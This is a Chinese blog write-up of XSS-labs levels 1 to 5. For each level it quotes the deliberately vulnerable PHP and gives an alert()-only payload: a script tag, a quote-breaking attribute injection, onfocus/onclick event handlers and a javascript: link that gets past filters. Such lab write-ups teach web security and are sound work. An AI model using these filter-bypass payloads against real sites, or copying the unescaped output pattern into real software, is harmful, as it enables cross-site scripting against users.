【XSS-labs】Level 1-5
写在前面:
这个闯关游戏旨在理解XSS的原理并运用各种姿势绕过对于XSS攻击的过滤和限制。
这个练习只要弹出弹框即可过关 ,每一关我也会附上payload和源代码的解析
Level 1
观察源码
<?php
ini_set("display_errors", ); //设置display_errors的值为false,即不提示错误信息。
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
ini_set函数 — 为一个配置选项设置值
$varname , string $newvalue ) : string设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。
其中varname的值是有规定的,详情参考PHP手册。
display_errors : 该选项设置是否将错误信息作为输出的一部分显示到屏幕,或者对用户隐藏而不显示。
这里没有任何限制 直接在url中输入payload :
<script>alert(1)</script>
ok!

Level 2
2个注入点:URL 和 搜索框

首先在URL输入我们Level 1 中的payload 发现没有成功弹窗 页面变成了下面这样。

查看页面源代码:我们在URL输入的<>都被html实体化了,但是form中的并没有

查看php源码确认一下 :URL中的参数被实体化了 但是表单里并没有

htmlspecialchars ():
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符有:& , " , < , >
那么尝试在搜索框写入payload,注意闭合input标签,成功!
"> <script>alert(1)</script>\\
">用来闭合input前面的<和value的前一个" 最后\\用来注释掉最后的"> (不注释也是可以的)
<input name=keyword value=""> <script>alert(1)</script> //"> (加入payload后的源码)
Level 3
观察源码 这关和Level 2 不同的是 form中也调用了htmlspecialchars() 函数,所以不能直接调用JavaScirpt脚本
<?php
ini_set("display_errors", );
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
可以采用input标签内的事件来进行绕过
一些常用事件如下:
onfocus 当input 获取到焦点时触发
onblur 当input失去焦点时触发,注意:这个事件触发的前提是已经获取了焦点再失去焦点的时候会触发相应的js
onchange 当input失去焦点并且它的value值发生变化时触发
onkeydown 在 input中有键按住的时候执行一些代码
onkeyup 在input中有键抬起的时候触发的事件,在此事件触发之前一定触发了onkeydown事件
onclick 主要是用于 input type=button,当被点击时触发此事件
onselect 当input里的内容文本被选中后执行一段,只要选择了就会触发,不是非得全部选中
oninput 当input的value值发生变化时就会触发,不用等到失去焦点(与onchange的区别)
payload:注意闭合input标签并触发事件即可,比如onfocus需要获取鼠标焦点,onclick需要点击搜索框。
//基于onfocus
' onfocus='window.alert() //这里加不加window.都可
' onfocus='alert()
//基于onclick
' onclick='alert()
' onclick='window.alert()
Level 4
观察源码:这里依然是htmlspecialchars($str)函数对预定义的字符实体化
<?php
ini_set("display_errors", );
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
注意源码中对于两个注入点的限制:
对于URL中,是会对 < > " 进行实体化转义
对于form表单中 并不会实体化输入的< > 而是因为str_replace函数将其换为空

str_replace函数实例:
<?php
echo str_replace("world","Shanghai","Hello world!");
?>
将hello world中的 world换为 shanghai
payload:还是利用input标签内的事件,注意此时的value那里需要 " 闭合 (payload可参考上面)
" onfocus="window.alert()"\\
Level 5
观察源码:strtolower函数会把输入的字符串中字母全部变为小写 然后通过后面str_replace函数限制了
script标签和input标签内的事件(都需要on这两个字符)
<?php
ini_set("display_errors", );
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
这里可以利用JavaScript的伪协议。
Q:什么是JavaScript伪协议?
A:不同于因特网上的HTTP 、SMTP 、FTP 等真实存在的协议,而是为关联应用程序而使用的.如:tencent://(关联QQ);
而JavaScript的伪协议即可将javascript: 后的代码当作JS脚本执行并把结果返回当前页面。
示例:
<a href="javascript:alert(1)">click!</a>
所以本关利用JavaScript的伪协议构造payload,注意闭合input标签:
"> <a href="javascript:alert()">click!</a>\\

【XSS-labs】Level 1-5的更多相关文章
- 【SEED Labs】Public-Key Infrastructure (PKI) Lab
Lab Overview 公钥加密是当今安全通信的基础,但当通信的一方向另一方发送其公钥时,它会受到中间人的攻击.根本的问题是,没有简单的方法来验证公钥的所有权,即,给定公钥及其声明的所有者信息,如何 ...
- 【SEED Labs】DNS Rebinding Attack Lab
Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/DNS_Rebinding/ 在这个实验中模拟的物联网设备 ...
- 【SEED Labs】TCP Attacks Lab
Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/TCP_Attacks/ 本实验涵盖以下课题: • TCP ...
- 【web安全】第二弹:XSS攻防中的复合编码问题
最近一直在研究XSS的攻防,特别是dom xss,问题慢慢的迁移到浏览器编码解码顺序上去. 今儿被人放鸽子,无奈在KFC看了两个小时的资料,突然有种豁然开朗的感觉. 参考资料先贴出来: 1. http ...
- 【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析
web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 下载链接及文档说明: http://pentesterlab.com/ex ...
- 【web安全】第一弹:利用xss注入获取cookie
首先一定要先来吐槽一下tipask系统.这是一枚开源的类似百度知道的系统,但是漏洞多多,最基本的XSS注入都无法防御. 言归正传: [准备1] cookie接收服务器. 平时喜欢用sae,所以在sae ...
- 【19道XSS题目】不服来战!(转)
[19道XSS题目]不服来战! 记得第一次接触xss这个概念是在高中,那个时候和一个好基友通过黑客X档案和黑客手册.第一次接触到了除了游戏以外的电脑知识,然后知道了,原来电脑除了玩游戏还可以搞这些,从 ...
- 【已解决】Python脚本运行出现语法错误:IndentationError: unindent does not match any outer indentation level
转自:http://www.crifan.com/python_syntax_error_indentationerror/comment-page-1/ [问题] 一个python脚本,本来都运行好 ...
- 【codeforces 731D】80-th Level Archeology
[题目链接]:http://codeforces.com/contest/731/problem/D [题意] 给你n个象形文; 每个象形文由l[i]个数字组成; 你可以把所有的组成象形文的数字同时增 ...
- SQLi_Labs通关文档【1-65关】
SQLi_Labs通关文档[1-65关] 为了不干扰自己本机环境,SQL-LAB我就用的码头工人,跑起来的,搭建也非常简单,也就两条命令 docker pull acgpiano/sqli-labs ...
随机推荐
- 吞吐量(TPS)、QPS、并发数、响应时间(RT)
1. 响应时间(RT) 响应时间是指系统对请求作出响应的时间.直观上看,这个指标与人对软件性能的主观感受是非常一致的,因为它完整地记录了整个计算机系统处理请求的时间.由于一个系统通常会提供许多功能, ...
- 基于 react 的Java web 应用—— 组件复用(后续需更新)
前言 实习第二周,被告知要用React与导师进行基于React的Javaweb 的开发,jinzhangaaaaa~由于React 这款框架没学过,看了一峰老师的基础入门教程,硬着头皮开始上了... ...
- centos7 安装高版本svn
一.安装高版本svn 1.创建一个新的yum库文件,vim /etc/yum.repos.d/wandisco-svn.repo 内容如下 [WandiscoSVN] name=Wandisco SV ...
- 用js写出一个漂亮的单选框选中效果
一般的input框比较简单,我们可以用JavaScript配合css背景图片定位让我们模拟写出一个点击选中效果 首先需要有个图片素材,当页面加载的时候是背景图片定位到左图,当我们点击图片的时候,背景图 ...
- jQuery中bind()与on()绑定事件的区别
.on()方法比.bind()方法多一个参数selector .on()的selector参数是筛选出调用.on()方法的dom元素的指定子元素,如: $("ul").on('cl ...
- 基于胜率矩阵的PageRank排序
在做博弈模型评估的时候,遇到一个问题是如何评价多个模型的优劣.例如我有训练好的三个围棋模型A,B,C,两两之间对打之后有一个胜负关系,如何对这三个模型进行排序呢?通常对于人类选手这种水平有波动的情 ...
- 【HBase】HBase基本介绍和基础架构
目录 基本介绍 概述 特点 HBase和Hadoop的关系 RDBMS与HBase的对比 特征 基础架构 基本介绍 概述 HBase是bigtable的开源java版本,是建立在HDFS之上,提供高可 ...
- 白话马尔科夫链蒙特卡罗方法(MCMC)
前言 你清茶园不是人待的地方! 里面的个个都是人才,说话又好听--就是我太菜了啥也听不懂,这次期中还考的贼**烂,太让人郁闷了. 最近课上讲这个马尔科夫链蒙特卡罗方法,我也学得一塌糊涂.这时我猛然想起 ...
- CF-163A Substring and Subsequence 字符串DP
Substring and Subsequence 题意 给出两个字符串s,t,求出有多少对s的子串和t的子序列相等. 思路 类似于最长公共子序列的dp数组. dp[i][j]表示s中以i为结尾的子串 ...
- [hdu5348]图上找环,删环
http://acm.hdu.edu.cn/showproblem.php?pid=5348 题意:给一个无向图,现在要将其变成有向图,使得每一个顶点的|出度-入度|<=1 思路:分为两步,(1 ...